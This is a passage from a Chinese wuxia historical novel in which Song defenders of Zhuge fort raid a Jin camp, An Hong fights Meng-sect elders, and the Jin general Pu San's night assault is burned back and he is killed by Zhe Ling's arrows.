适才断后那十余人,欲将溃兵全数带上。一旁风慎皱眉悄声道:「将军,除箭营
六人外,皆用刚刚溃于军前的逃卒,会不会太过冒险?」
折翎道:「金军不识地理,又兼后勤已失,定是兵无战心,此我等必胜一也。
今日砦前三百金兵围我三人,虽看似勇猛,却徒有其表,与富平相比,锐气全无,
乃至功败垂成,此我等必胜二也。溃兵请战,军心可堪大用,此我等必胜三也。
再加赵兄领路,箭营随行,更可出其不意。不论战果如何,此战后砦中亦可添数
十敢战之兵。随大安断后者,俱是能战之士,留诸砦中,更添防那胡女之力助,
我心中亦安稳些个。」
风慎捻须道:「将军所言有理!那箭营与砦中弓手可要打混调配?砦中弓手
亦多未经战,由将军选两名箭营老卒带出历练也好。」
折翎赞同道:「合该如此!晏虎郝挚带一队弓手与我同去,余人带一队弓手
守砦。」
在一旁偷听的陆大安听到此处,忍不住叫道:「将军,我亦要去!」
折翎闻声,笑斥道:「休得呱噪!此次劫营,你暂为队正。」又转头对队列
中的老坑道:「你为大安之辅。」
陆大安得令,欢欣雀跃,就在墙边找了个平坦处,将刀枕在头下,不多时便
鼾声大起。晏虎郝挚得令后先随王锦去墙上选了一队弓手,而后依陆大安之态,
亦是睡去。老坑及一众预备出战的砦丁虽是学样躺在一边,却是个个辗转反侧,
难以入眠。
折翎及众人计议,赵破随军出战,风慎王锦守砦,李豫大索克里斯蒂娜。安
排已定,众人各司其职,赵破亦去歇息。折翎在陆大安身侧一块石上盘腿打坐,
调息运气,只待李豫以锣传讯,便赶去手刃克里斯蒂娜。可体内周天流转,空中
红日渐西,也无丝毫动静传来。又行了几个周天,耳听高诵在耳边轻轻唤道:「
将军,时近二更。」
折翎吐纳毕,只觉神清气爽。睁目见赵破已至,便吩咐整队。放眼看去,除
赵破及箭营三人外,个个眼袋浮肿,显是未能安睡。不过个个都是摩拳擦掌,一
副跃跃欲试之态。折翎与赵破一同,临时立了几条令行禁止之规,便领军出砦。
赵破在前领路,行了几里,扬手示意。折翎凝神于目,远处林中,依稀有火光跳
跃,遂下令人人衔枚、散成几队蹑足向前。折翎赵破眼力皆佳,于暗处解决了几
个金人哨探。悄没声向前摸去,看看金人营帐已在一箭之距内,折翎刚要下令放
箭射篝火旁金兵,赵破忽一拉他衣角,低声道:「不对!」
第十章 破营杀将
折翎卸枚,问道:「怎么?」
赵破道:「前些日我曾与金人共结营多时,熟悉其法。金人营帐虽是大小各
异、无规难计,但夜间二十五人共用一火却是常态。此拨金兵数目恰是千人,营
火应是四十。可眼前营火不足三十,除却累日死伤,仍是缺了五六火。不怕将军
怪罪,得长公主令后,我孟门弟子虽多数回砦,但亦有些不肯奉令、滞留于金营。
此刻砦中缺了的百余金人许是由留营弟子带着,去截断了通二里驿的小路,意欲
绝诸葛砦外通之路。安公子只带了三人同行,众寡悬殊,恐有疏漏。趁此刻战端
未启,将军速速撤军,使一队人马往援方为上策。」
折翎目视前方,盯准了几个目标,使晏虎郝挚传令弓手后方道:「赵兄所言
极为稳妥,却是对我那二弟有所不知。他若不是得名师以独门内功心法相授,吐
纳修行间压制了骨子里嗜杀的性子,江湖上不知要因他掀起多少腥风血雨。可他
修成了这功法,若想杀人更是无人可挡。若非千军集结硬撼,则皆是自寻死路罢
了。」
赵破闻言,脑中浮现安鸿温文尔雅样子,一时愕不能语。折翎看着他微微一
笑,在他耳边吩咐一番,而后长身而起,弯弓搭箭直取营中火边一金兵。金兵应
声而倒,其同伴惊骇四顾,措不及防之下被乱箭射倒一片。
……………………………………………………
安鸿见两名汉子自草丛中潜回,微笑问道:「二位兄弟,探查的如何?」
其中一黝黑汉子抱拳道:「安公子,金人篝火五堆,应有兵百二十余。」言
罢,面色踟蹰。另一精瘦汉子见状续道:「金人营左,是我孟门未归营的弟兄。
安公子,金兵众多且当道下寨,我等只得四人,既绕不过又打不赢,不如回砦搬
救兵吧!」
安鸿闻言摇首,回视魏庆道:「你眼疾如何?」
魏庆道:「万事无妨,请公子吩咐。」
安鸿点头道:「随我破营!」
魏庆重重点头,那名黝黑汉子急道:「公子三思!」精瘦汉子亦急道:「切
莫伤了我门中兄弟!」
安鸿起步道:「你二人跟在我身后,金兵来不必管,若是你门中兄弟来,则
劝止便是。」
魏庆抽出袖中铁锥,紧紧跟随言罢离去的安鸿。两名汉子对视一眼,亦无奈
跟上。
安鸿魏庆轻身功夫高超,一路上为了等待两名汉子带路,故行的缓慢。此刻
全力施展,两名汉子几息间便已被甩出好远,只见前面一白一褐两个身影于林间
夜幕中纵跃起落,转瞬不见。两人发足狂奔追赶,才数步,已听见前面营中惨叫
呼喝声交杂,兵刃相交声乱鸣,隐有血气随风入鼻。又奔数步,入耳声音反渐远,
血腥气倒是越来越浓。又是数息,二人奔到营边,场中篝火犹旺,却全然不是自
己适才探营时的样子。火旁帐外,伏尸处处,断手损脚及各种兵刃丢散在被鲜血
染红的草叶土地之间。营盘正中,安鸿持剑、剑光霍霍,魏庆持锥、锥风森森。
一阳一阴,一磊落一阴险,一潇洒一拙朴,无情收割金人性命。营角一宋人装束
老者已经收拢了约有十人,一不列阵、二不相助,只各持兵刃,警惕地站在一边。
安鸿与魏庆趁敌不备,偷袭颇有成效。待金兵反应集结、有所抵抗之时,兵
丁之半数已尸横当场。安鸿武功高绝,手下亦不留情,剑每出必染血。魏庆久在
沙场,每招每式均实而不华,丧命其锥下之金兵亦是不少。金兵自恃偏僻险阻,
毫不设防,此刻虽被安魏二人杀的狠,却终显出百战精兵的样子。长短兵刃夹杂,
勉强在一面帐幕旁列出个阵势,总算是守得性命。
安魏二人再鼓而衰,一时突不破金兵阵势。倒退几步略稳阵脚,魏庆收锥将
背上山桑弓取下,扯出一支白翎箭,也不要准头,往金兵阵中便射。金人列阵仓
促,三十余人却只得两面骑兵旁牌,余下皆是刀枪。敌我相对不过数步,只觉弓
弦才响,箭已穿胸,实难以拨打遮挡。如此被射死几人后,有十几个发狠的弃阵
而出。安鸿仗剑挡在魏庆身前,或划或刺,或挑或拨,无一金兵能躲过照面之厄。
魏庆出砦,只携了白翎一筒,待安鸿清了眼前,一筒箭堪堪射光。余下不到十名
金人见攻守皆丧,一时心惊胆颤。不知哪个先发了声喊,一众金兵竟四散奔逃。
安魏二人对视一眼,一左一右夹路追了下去。
此刻两名汉子早已追到安魏身后,见自己帮不上忙,便从远端转过二人身侧,
各持兵刃立在金阵与几名宋装人众之间。待金人四散,忙回头向为首那老者行礼。
那老者瘦削精干、须发皆白,正是昨日砦前坡上被折翎饶了性命那一名。老者也
不搭理两名行礼的汉子,只负手与后,面沉似水地听着远处传来的一声声惨叫。
片刻,一切归于静寂,只余营内篝火中木柴噼啪。又半响,两人自黑暗中转
出。魏庆全身是血,火光映面,状若地狱幽冥般狰狞;安鸿却依旧是长衫飒飒,
衣上竟似连一丝尘土也无。老者待二人至近前,缓缓抱拳。魏庆冷目凝视、无动
于衷,安鸿还礼道:「前辈,不期相见于此。」
老者冷哼一声道:「小子,你待如何?」
安鸿低头略思后道:「过路而已!金人是我大宋仇寇,见即杀之而后快。嫂
嫂临死前,曾叮嘱大哥莫伤孟门弟子。嫂嫂之言,安鸿不敢有违,只是对前辈有
一言相劝。前辈或进砦中,与我大哥同守险隘,据金人于外,解蜀中之厄;或率
身后众人退出山中,两不相帮。此二者皆为好出路,如今砦中孟门弟子已遵我家
嫂嫂遗命,与箭营一同戮力抗金。前辈又何苦痴迷不悟、为金人卖命?言尽于此,
还请前辈思量!」
安鸿说罢,便招呼两名汉子赶路。老者看着两名汉子再行一礼,转身离开,
亦不阻拦。正在老者若有所思之际,身后一人越众而出,指着刚好走在火光亮处
的安鸿叽里咕噜的吼叫了一番,状若癫狂、颇为激动。安鸿四人一愣,止步回望。
老者面色忽变铁青,扬声愤然道:「小子,我且问你。十数日之前,花溪峡外,
那苍髯赭衣老者可是丧命你手?」
安鸿微做思索,点头道:「不错!那老者与金人一道追杀我箭营兄弟,以至
一死两伤。我……」
老者听到此处,戟指怒目、颤声打断安鸿道:「好!好!好!一饮一啄,自
有天数!若不是牙吾塔先被我师弟打晕,他便不能装死逃过一劫,如今更不能指
认你这贼子!我青城四杰,立誓同生共死,却不料四师弟折在你这小贼手中!纳
命来!」
老者口中最后三字一字一顿,方出口时人方轻身,最后一字说出时,剑光已
经笼在安鸿头顶。安鸿不愿与其交手,提气向后飘飞讶道:「青城四杰在江湖上
消失已有二十余年,怎地却襄助孟门?又怎地甘做金人走狗?」
老者闻言冷冷一笑道:「我四人本就是孟门众人,学得武艺自然回门中效力!
你这……」言未毕,忽觉身左劲风阴冷。急向右退,却还是被魏庆手中铁锥划开
了肋上衣物。老者站定,视衣暴怒道:「又是你这贼子!今日我必将你二人碎尸
万段!」说罢,持剑使一招风过松直取魏庆。
安鸿见老者独战魏庆,自忖不便相助,遂站在原处不动。不料老者身旁众人
齐喝了声「为四长老报仇」便一窝蜂涌了上来,只得叹口气持剑相应。魏庆精擅
暗杀行刺,虽是两度偷袭老者成功,但真实艺业却不如老者远甚,又加左目新眇,
不一刻便已险象环生。好在魏庆出招,式式以命搏命,老者又是有伤未愈,故拿
他无可奈何。一旁安鸿独对众人游刃有余,只是不愿痛下杀手,仅用剑柄、双脚
将身周人击退,一时难以得脱。
随魏庆来的那名黝黑汉子听老者与安鸿对话时不停喘着粗气,待众人混战,
重重的嘿了一声,抽刀便要向前去。精瘦汉子一把将其拉住问道:「你待做什么?」
黝黑汉子道:「自然是与大伙一道,为四长老报仇!」
精瘦汉子将他一扯道:「长公主遗命遵折将军令守砦!折将军令我等求援,
你忘了么?适才安公子不是说,四长老当时也杀了箭营之人。求援事大,怎可因
前怨私废?」
黝黑汉子听罢,回手虚晃一刀,怒道:「咱家心里可没有你十二那么多弯弯
绕!无论何故,杀我孟门的人也不能白杀!你忘了幼年入孟门时起的誓了么?」
十二见刀光晃眼,只得松手放他去。想想眼前情形,却是无解。正进退两难
间,忽然发现一身影悄悄自亮处没入黑暗。定睛一瞧,原来是适才挑起事端的金
人牙吾塔。回头再看战团难解难分,叹口气狠狠心追着牙吾塔去了。
黝黑汉子持刀前冲了几步,发现十余人将安鸿围了个水泄不通、无从插手,
遂转向魏庆与老者战处。待了一待,恰好老者一剑将魏庆向自己这边逼退了些步,
心下大喜,向着魏庆脊背一刀猛劈下去。
魏庆正全神应付老者,不料背后有人偷施暗算,仓惶间侧身去躲,却还是被
黝黑汉子砍伤了左臂。老者与黝黑汉子前后夹攻,魏庆渐渐不支,一路往营外败
退。一旁战团中的安鸿见状,再顾不得许多,手中剑在身周画了个整圆守住所有
攻来之势,紧接着一脚踢飞面前孟门弟子,如游龙般飞出战团,剑锋直指老者后
心。
魏庆被伤,老者得势,正要突施狠手将其击杀,却感觉身后杀气逼人,无奈
下只得回剑防身。安鸿一剑刺来,于火光照映中宛若惊鸿,瞬息之间,连刺老者
十一剑。十声剑剑交鸣之清脆响声密集如一后,第十一剑正中老者左期门穴,发
出噗一声闷响。老者踉跄后退,步履间歇运气化去自剑尖侵入体内的真气,待站
定时唇角已然溢血,竟是震动了早前内伤。魏庆得安鸿相救,压力顿轻。于安鸿
刺伤老者,停步不追之时,使手中铁锥将黝黑汉子刺了个对穿。一脚将尸身踢倒、
铁锥拔出,才发现自己被老者逼的真气散乱,脚下打晃、险些摔倒。
安鸿将剑反手收在臂后,目视老者冷冷道:「你孟门长公主生前与我大哥琴
瑟相和,如今两方又携手抗金,份属同盟。之前你我交战,多有损丧,亦当各安
其命。你将前事纠缠,我却不欲再做杀伤。不过若你执迷于此,休怪我剑下无情!」
老者闻言,仰天大笑,狠狠道:「我孟门联金伐宋,眼见功成。长公主定是
受了你等奸诈小人蒙蔽……哼哼,说不定便是你等害了她性命,假传令旨,使我
孟门自相残杀!」
安鸿道:「砦众举丧奉命,金人小营中孟门子弟大部归砦,你还看不清么?
我大宋儿郎,不分孟门西军,皆应奋起抗敌。怎容得尔等倒行逆施,与金狗作伥,
使华夏沦丧?」
老者闻言再笑,喝到:「我等大好男儿,怎会是奸诈宋人?灭宋平分天下,
生聚廿载伐金,这等华夏荣光又岂是被掳为猪狗的赵家人可比?多说无益,看剑!」
老者借着言语的时间调息已毕,说罢欺身上步,一招芙蓉锦绣,舞开一朵剑花罩
住安鸿。
围安鸿的十余人听了老者与安鸿说话,先是愤怒,继而迷惘,最后又现出无
比的狂热。此刻见老者动手,便也吼叫着一拥而上、围了魏庆乱战。魏庆不似安
鸿那般好相与,手下毫不留情,一对铁锥上下翻飞,顷刻间便刺倒了数人。余人
胆寒,再不敢靠拢过近,借着手中兵刃长度之利远远围着,堪堪与魏庆战了个对
等。
安鸿与老者交相往复,过了十余招,一如那日砦前斜坡之上。老者适才被安
鸿逼退,心知他此时未尽全力,又见那边弟子被魏庆杀伤过半,不由心中烦躁。
急切抢攻之中,反失了自家剑术精要,破绽渐多。安鸿觑得真切,运剑自中路直
突而入,刺中老者握剑手腕。老者吃痛,宝剑虽仍在手,动作却为之缓慢变形。
安鸿再几剑分别伤了老者肩臂几处大穴,使其双臂难起、空门大露,方震剑指其
咽喉,喝到:「统统住手!不然,这老人家性命难保!」
孟门余下众人闻声,纷纷停手向安鸿叫骂。魏庆冷哼一声,作势欲扑。众人
惊惶之下退了些步,顾不得口中言语,皆紧张做防备之态。十二此时从营外树林
中冲出,手提一人头,呼道:「安公子不可!」
安鸿尚未答话,老者已怒喝道:「十二,你与赵破等狼心狗肺之徒皆是大师
兄之徒子徒孙,家中亦代代为孟门子弟。如今竟敢违背左使与大师兄之命,实为
欺师灭祖!」
十二噗通一声双膝跪倒,泣声道:「二师公,我……」
老者嘿嘿冷笑,打断十二,对安鸿道「我引两路金兵至诸葛砦,使命已了。
今日技不如人,报不得四师弟血海深仇,却也不能被你等恶徒折辱。我孟门子弟,
有死无降!」话音未落,便将咽喉撞上剑尖,霎时间血溅五步。安鸿大惊撤剑,
却哪里还来得及。
孟门众人见老者尸身倒地,悲痛大哗,皆奋不顾身向前攻来。魏庆面无表情,
撞进人群中,不多时便杀了个干净。十二跪在一旁,瞠目结舌,傻傻呆呆的看着
眼前鲜血四溅,和土成泥。
安鸿惊诧于老者举动,待回神欲止魏庆时已不及,遂皱眉一声轻叹。十二闻
叹,忽然一跃而起,先将手中人头掷向魏庆,接着便持刀冲了上来。安鸿恐魏庆
伤他,故轻身跃在魏庆之前,左拦右挡,见招拆招。未久,势若疯虎的十二咕咚
一声,脱力倒地。安鸿收剑,示意魏庆将其扶为坐姿,接着便以掌抵其背,运真
气助他恢复。
盏茶过后,十二微微醒转,环视周遭,默默流泪。安鸿见他恢复,歉然道:
「如此,非我所愿!」
十二哽咽应道:「一切我都看在眼里,与安公子无干!」用手一指魏庆,怒
目道:「只是恼恨这厮痛下杀手!我孟门弟子见二师公死于非命,悲愤之下才冲
上前。我孟门与你结盟抗金,你怎能下如此狠手?待金人退后,我必杀你以报此
仇!」
魏庆置若罔闻,只冷冷看着十二。安鸿不知该如何劝解,只得岔开问道:「
适才你二师公死前,说引两路金兵至诸葛砦,是皆在砦前安下营盘了么?」
十二眼瞪魏庆,口中答道:「那千余金兵是一同来到,并非两路。」
安鸿吸了口冷气道:「不好!大哥并不知金兵援军已至,今夜率众劫营,或
恐有失。魏庆,你可记得来时道路?」
魏庆颔首道:「记得。」
安鸿飞速道:「甚好!你尽快回砦,将此消息禀告你家将军。若是兵马已出,
便请守砦之人速去接应。万不可使你家将军有失!」
魏庆亦知紧迫,抱拳行礼,便要离去。行了几步又止住,自怀中取出一面杯
口大小铜牌抛与安鸿道:「此乃吴经略贴身侍卫腰牌,公子至军营出示此牌,便
可求见吴经略。」言罢要走,十二忽掷来一物,冷硬道:「此乃我孟门所用示警
火信!」
魏庆接物在手,揣入怀中,向着十二郑重一礼,扭头便走。安鸿在旁诚挚道
:「多谢!」十二将头一扭,流泪道:「给火信又不是为了你等!守砦亦或劫营,
皆是我孟门兄弟!」
……………………………………………………
「只射火旁,莫顾其余!休让金狗熄了营火!」
折翎一声令下,本是分散的箭支渐渐集中成一波波箭雨,洒向火边之敌。营
中篝火明亮,化作催命之符,金人避之惟恐不及,个个东逃西窜、狼奔豕突。忽
一声队正呼喝,闻声之人纷纷取盾自保。十数息间,越来越多的兵士取盾结阵,
渐成规模。盾阵既成,慌乱亦消。金人队正留心营外洒来箭雨,每波仅有二十余,
等了几波,亦是如故,遂下令盾阵向营外逼出。喊话发令时,略为无备,将头肩
露出了些许。无翎一箭自黑暗处如电而来,将金人队正两个太阳穴射了个对穿。
无人发令,盾阵步伐不一,露出些许缝隙。营外黑暗中大多箭支虽依旧打在盾上,
但每波中总有三支箭透隙而过,带出几名金兵死伤。
搅扰片刻,金阵中又有一队正接替喊话,盾阵重归齐整,那三支箭亦无计可
施。盾阵又推进些步,看看已过营围,来在林木之前。夜色中忽飞出一箭,破盾
而入,射死盾后金兵,又将尸体带飞数尺。两支箭紧随破盾之箭,自缺口处射入,
收割金人性命。如是几番,金人又将盾阵向后退了些许,黑暗中那破盾之箭也似
难以为继,不再射出。金人队正见阵脚稳住,遂再发呼喝。盾阵后一直隐而不发
的弓箭手起身拉弓放箭,也不求准头,只是集中了向林木黑暗中回射。
金人箭术,亦是强横,射程比箭营中人亦是不遑多让。若不是折翎与众弓手
藏在黑暗之中,恐已多有折损。折翎等躲避一刻,再回射一刻,几次下来,所携
箭矢眼见将尽。折翎环视左右箭筒,对身旁砦丁颔首示意。砦丁自怀中取出一枚
火信,扬手施放,花灿漫天。
天上火信方熄,金人军营正中忽有几座帐幕腾起熊熊大火。营中金人,惊魂
方定,本以为盾阵在前可保无虞,不料营正中居然火起,登时混乱。营内火光之
中,趁适才金人慌乱时潜入的赵破砍翻几个金兵,大喊了声「杀」,便向营左杀
去。与此同时,营外亦是杀声大起,左右各一路人马,借着火光杀进营中。
营左一路,二十余人,为首者乃是陆大安。一口朴刀上下翻飞,在火光中舞
成一条银龙,当者立毙、所向披靡。身后砦丁见他勇武,士气大振,一个个如狼
似豹,扑入营中。营右一路,亦是二十余人,为首者乃是老坑。队伍突入之处,
恰是金人伤兵所在角落。老坑砍翻一个金兵,看看周围,咧嘴笑道:「弟兄们,
咱们运气好,捡了个现成。随我杀金狗啊!」一队人若虎入羊群,尽意屠戮。
金人盾阵见营中生变、惨叫连连,瞬时骚动起来。队正大声呵斥,却是压制
不住。折翎在暗中看了个真切,遂大喝声「放箭」,带着一众弓手将余箭一股脑
放出。金人盾阵被箭雨侵了空隙,死伤之下立时大乱,队正无奈下令后撤。折翎
借着此势,带领众弓手持短剑冲出林中,随后追杀。
金人三路受敌、突变起于腹心,又兼夜色笼罩、分不清来敌数量,遂满营皆
乱。盾阵人众乃营中精锐所在,虽受弓手追杀,亦有大部退而不乱。金人队正见
局面已难以收拾,只得下令弃营,指挥尚在一处的盾阵人众在营中收拢散兵往营
后退却。折翎及陆大安见机较快,金人退出营盘便喝止追击,老坑所部正杀的兴
起,衔着金人队尾杀将出去。折翎大声呼喝,为时已晚。退入黑暗林木中的金兵
一阵乱箭射来,将冲在最前的几人射倒在地。老坑醒悟,带余部退回,懊悔不已。
折翎见眼下与金人明暗易处,忙约束全军暂退。选了陆大安、晏虎、郝挚几
人去四处放火、烧毁营帐、阻断金人视线,又令老坑带人于砦中搜剿兵器粮秣。
待众人分头行动,方拉赵破至一边道:「金人数量与适才赵兄所讲营火之说大有
不符!我度其数量,应在三百上下,且有伤者不少。依我本意,今夜劫营实为骚
扰,只杀些金兵使砦中兵士莫畏战也就是了,不料此时竟可以数十人迫其弃营而
去。交战时,你可见扑散了么?」
赵破摇头道:「未见。开战前我奉将军令,去营右埋伏,却发现巡哨者颇少、
守把稀松,遂将队伍交给老坑,带了两名擅潜行的弟兄潜入。直摸进中军,发现
营帐内竟空无一人。恰逢将军发号,这才趁便点起火头。」
折翎思索数息,忽有所悟道:「赵兄,自砦子通此处,可是只有来时那一条
路么?」
赵破摇头道:「林地甚广,数径皆可通行。金营中尚有我孟门子弟,寻路却
是不难。」
折翎吸了口冷气,沉声道:「不好!扑散怕是率兵趁夜取砦子去了!」
赵破道:「将军不必忧心。砦子绝险,墙上又有防备,万万不是三五百人可
以攻下!」
折翎道:「扑散乃久用兵者,怎会不知此点?他一意要去,定是……」
赵破见折翎语焉迟滞,遂凝眉思量,不多时大悟道:「砦中有内应!」
折翎颔首,刚要说话,忽然目光一闪道:「怕不是内应,而是援军!」
赵破顺着折翎眼光望去,才发现两人说话间,砦丁已经在营中搜罗出恁多粮
食,远超千人所携,在一角堆得小山也似。折翎与赵破对视一眼,再不迟疑,下
令尽速收兵回援。砦丁依令将无法带走的所有物事付之一炬,霎时火光冲天。军
行已远,仍然可见天空染红半边。赵破回望叹道:「幸得金人伐木为营,空出许
多白地,不然这山火势头恐难扼制了!」
折翎亦回望道:「山火便如同我等来袭,乃是金人需担心之事!走吧!」
……………………………………………………
魏庆心中着急,于路低伏高窜、毫不停歇。到了约来时一半多路程之处时,
只觉真气难以为继,身上新伤及左眼凹陷中隐隐作痛。无奈只得停步稍作歇息,
待气力回复些许,再起身赶路。行之未远,天边明月破云而出,一瞬,又重回云
后。就在此刹那间,前方树后似有利器反光,微晃即逝。魏庆心生疑窦,蹑足绕
了个大弯摸到树后,只见两名金兵正在树后警惕地向外张望。魏庆抽出袖中锥,
轻身一跃,臂分左右,瞅准二金兵脑后刺下。金兵闻身后衣袂之声,欲回头已晚,
被铁锥自脑后至嘴中刺个通透,一声未发,死在当场。
魏庆铁锥建功,双手一松,揽着二金兵尸体将其悄悄放倒。加倍小心了前行,
果在半里之外又发现两名哨探金兵。魏庆依样施为,却不料其中一个金兵颇为聪
明,闻声便矮身向外滚开,魏庆再出手已是不及。那金兵逃开之后也不出声,只
是在林木间绕着往诸葛砦方向奔跑。魏庆在后坠着急赶,眼见追上。那金兵绕过
一棵大木,木后两口刀让过金兵,无声无息的向着魏庆兜头劈来。魏庆闪身躲过,
正要还手突刺,又有几名金兵闪出攻击。这批金兵手头颇硬,一时间占尽优势。
魏庆奈何其不得,心中又记挂报信之事,于是虚晃一招,转头扎进身侧林中几名
金兵随后追入,紧紧咬着魏庆不放。林中亦不太平,隔三差五总有一两名金兵突
出。十几株木过,围堵金兵已有数十。魏庆见此情形,心中更是焦躁,东杀西撞
之间,已来到砦前木栅不远。正欲冲林而出,身前闪出一长大人影,刀风凛凛,
寒气逼人。
魏庆脚步倏地一停,硬生生化前掠为横纵。虽是避开刀锋,体内真气却是一
阵翻涌。长大身影那口刀毫不停歇,紧追着又是一记劈来。魏庆无力再躲,遂咬
牙将手中铁锥搭成一个十字,举高准备硬抗。谁知那人刀锋忽转,由竖劈化斜切,
缘着铁锥一头划向魏庆肩头。
魏庆趁对方变招,足下用力,一个侧跃摔在地上。虽然狼狈,但终于脱出刀
影笼罩。对面那人凝刀不发,操古怪语气问道:「你,折翎?」
魏庆不理,起身再奋力一跃,终出得密林。一日之内,战胡女、冲金营、愤
离丧、往返赶路、身眼被伤,终至强弩之末,只感足下发软,忙伸手扶了木栅站
稳。那长大身影迈步出林,云内微弱月光照于其面,正是金将扑散。他瞥了瞥魏
庆,摇头道:「可惜!」挥手示意亲兵围剿魏庆,又唤来一人叽里咕噜吩咐了几
句,接过一件黑褐色斗篷将自己全身罩住后,绕过木栅往砦前斜坡而去。
魏庆所立之处,乃密林与木栅交接所在,离斜坡小径尚有段距离。此刻见扑
散装扮奇怪,上小径往砦子处走,心内只觉不好。方欲探手入怀,取火信施放,
得了扑散吩咐那人已与众亲兵一拥而上。魏庆游走接战,虽刺死刺伤几人,却难
耐金兵人多势众,身上腿上又添了些伤口,渐渐乏力,身法缓滞。金兵见他情状,
不愿为困兽多添伤死,只是围住他做车轮大战,意图将其耗至油尽灯枯。
不一刻,林中深远处忽然传出一声闷声惨呼。木栅旁围攻的众金兵闻声皆怔,
而林中惨呼及兵刃相交之声越来越近、亦愈发密集。魏庆趁金兵分神,将手中双
锥奋力掷出,自怀中取出火信,便欲扬手施放。恰此时,林中两道身影破空而出、
杀入金兵群中,斩瓜切菜般放倒全数围攻金兵。一人毫不停歇,越木栅向砦子疾
冲;另一人扶住摇摇欲坠的魏庆,问道:「你怎么回来了?安公子可是无恙?」
魏庆定睛一看,扶己之人乃是赵破。摇摇头振奋精神,先将火信施放,后道
:「安公子单剑屠金营,安然无恙。得知金兵援军至,命我回来报信。」说罢心
头一松,晕厥过去。
空中火信璀璨,化做尘灰下落。折翎一掌打死名金兵,跃在一大木枝杈上,
借火信微光瞰视砦前斜坡,不由大惊失色。砦前密密麻麻布满俯卧金兵,或用黑
褐色布块遮蔽、或浑身裹满泥浆,与土地浑若一体。金兵尾端在自己脚下不远,
前端已至护河,怕是有千五六百之数。近处一人见天上火信,一跃而起,刀指前
方做发令状,口中咿呀大喝。众金兵闻令跃起,野兽般冲往砦墙。几架歪歪扭扭
的厚木板经众人之手由后向前传送,离护河越来越近。
折翎搭箭,射死一名抬传木板的金兵。正要搭箭再射,余光瞄到一箭飞来,
忙侧身让过。斜坡上扑散持弓大吼道:「折翎,来这,死!」
折翎视作不见,充耳不闻,搭箭再射木板旁金兵,扑散亦是继续箭射折翎。
折翎虽是分心避让,却依旧箭无虚发,怎奈金兵势众,难阻木板行程。望向砦墙,
依旧无声无息,黑暗一片,竟是一矢未发、一人不见,如同不曾望见火信一般。
扑散箭射折翎,连续不断。折翎望砦墙心急失神,躲避稍慢,被一枝箭划过
脸颊,带出一道血痕。扑散见状举弓大笑:「哈哈……破军!哈哈……杀将!」
扑散正笑间,砦墙之上忽发一声喊,数十火把几乎同时燃起,照的墙上亮如
白昼。折翎扑散皆愕然,转头望去。墙下金兵亦多怔,攻势一缓。墙上弓手搭箭
垂弓、齐齐整整站做一排。正当中风慎右手持扇当腹,左手捻须,姿容儒雅,襕
衫被火光映的雪白耀眼,颇有神仙之概。只可惜脸颊青肿,手中扇乃是不知何处
寻得的农家蒲扇,不伦不类,使风采稍逊。
趁众兵皆静,风慎眯眼喊道:「尔等狄戎,犯我疆土。可知此间诸葛武侯之
魂尚在?今日武侯附于吾体,定教敌寇片甲不留!」
攻砦金兵连扑散在内,能说宋语的仅是凤毛麟角,说的通顺的是半个也无,
风慎这几句文邹邹的话语没一个听懂。不待他说完,亦不待扑散下令,便又呐喊
着使刚刚到护河边的木板搭起桥来。风慎见状怒道:「岂有此理!真是对牛弹琴!」
说罢,右手将扇向前一招,垂弓的弓手将弓抬起,箭头处竟裹着燃烧的火布。箭
矢穿空而下,金兵纷纷躲避。箭矢落于地上,惹起一阵噼啪爆裂之声,人群之中
火星四溅,兵士衣物多有引燃。风慎将扇交于左手,又是向前一招,砦左火光不
及之平滑峰顶便掷下许多缸罐来,密如冰雹。缸罐之中,满是助燃油物,砦前瞬
间化作一片火海。攻砦金兵所携黑布,此刻成了上好的烧料,持布之人,个个如
同火炬一般。裹着泥浆的金兵占了便宜,带着身上泥浆未满处的明火,哭爹喊娘
向回飞奔。有鞋子起火之人,奔跑时引燃地底所埋之物,引起一阵大火,再奔几
步便倒地无声。
这一场大火,直映红天际,峰顶王锦及一众砦丁正拍手庆贺,动作面孔皆被
照了个清晰。砦墙较左峰矮甚,且上端为木质,此刻火势太大,若没有护河隔绝,
定要遭受池鱼之殃。李豫在一旁沉着脸,一面指挥砦丁将早已准备好的水不停歇
的浇在砦墙上以防火患,一面不满的对风慎嘟嘟囔囔。风慎此时春风得意,他人
所言皆不入耳,只看着墙下金兵惨状哈哈大笑。忽一股浓烟飘来,正被他吸入喉
中,立时咳嗽不止,涕泪交流。
扑散在后目睹此火,睚眦欲裂。树上折翎见金人多被烧死,心下不忍,转头
不欲看时却恰好见了扑散对着火场大吼,遂张弓大喊道:「扑散!破军!杀将!」
待扑散回头来看,便一箭射出。
扑散适才以箭射折翎,刀尚在鞘中。此刻见折翎箭至,便挥手中弓拨打。待
折翎射来一箭随弓而落,正要取箭回射折翎,不料那箭后还有一箭,直直插入自
己咽喉。
折翎连珠箭功成,收弓冷冷看着扑散道:「此箭长二尺五,点钢为镞,尾端
设凹槽三,得真气之御,以某名为翎,号曰穿云。死于此箭,尔心可安矣!」
扑散怒目瞪住折翎,一把将颈中箭矢拔出,鲜血喷溅之下张嘴大吼,出野兽
之声。三五息后,吼停身倒,再无生机。不一刻,溃兵带火四散奔逃,引熊熊大
火将其尸身化作飞灰。
砦墙、峰上及赶来的劫营人众皆望火大呼,群情高亢。折翎仰首望向云间明
月,喃喃道:「云儿,你知否?此乃战端方起耳!你在天上,定要保佑我守住此
砦。击退金兵之日,便是你我团聚之时!」
第二部沙场兵
第一章 一剑东来逢叛乱 独守营门定军心
春来四月,山花乍放,林深幽静,鸟鸣啾啾。林外树前的草地上,正有几只
野兔嬉戏觅食。忽然,其中一只抬头竖起耳朵静听,另外几只也偏头侧目,跟着
便四散逃去。未久,有几个手持简陋兵器的青壮从林中深处走了出来,踏在刚刚
被野兔啃噬过的青草之上,向四周打量。其中一人如猿猴般迅捷地爬上树梢,向
远处瞭望了一会,喜悦地向下喊道:「陆二郎,这股金兵貌似过去了!」
树下被称作陆二郎的那人二十余岁年纪,眉清目秀、乍背蜂腰,打了个赤膊,
前胸后背有几处看似痊愈未久的伤疤。听到树顶那人喊话,欣喜笑道:「好!你
下来与众人先行,我返林中喊乡亲回村。」
树下另一人调笑道:「二郎喊乡亲是假,与周家小娘子厮磨才是真吧!」
陆二郎满面羞赧,强项道:「只你这泼才心内腌臜!」
众人见他脸色通红,齐发一阵哄笑,七嘴八舌指点议论。陆二郎吃不住众人
戏谑,抛下句「路上仔细些个」便一头扎回来路林中。走了一会儿,耳根热烫渐
消,心中浮起兰秀的柔情美貌,笑容浮上唇角,脚步更加快了些。
崎岖中行了顿饭工夫,又跨过一条小溪,乡民藏匿的山洞便现于眼前。陆二
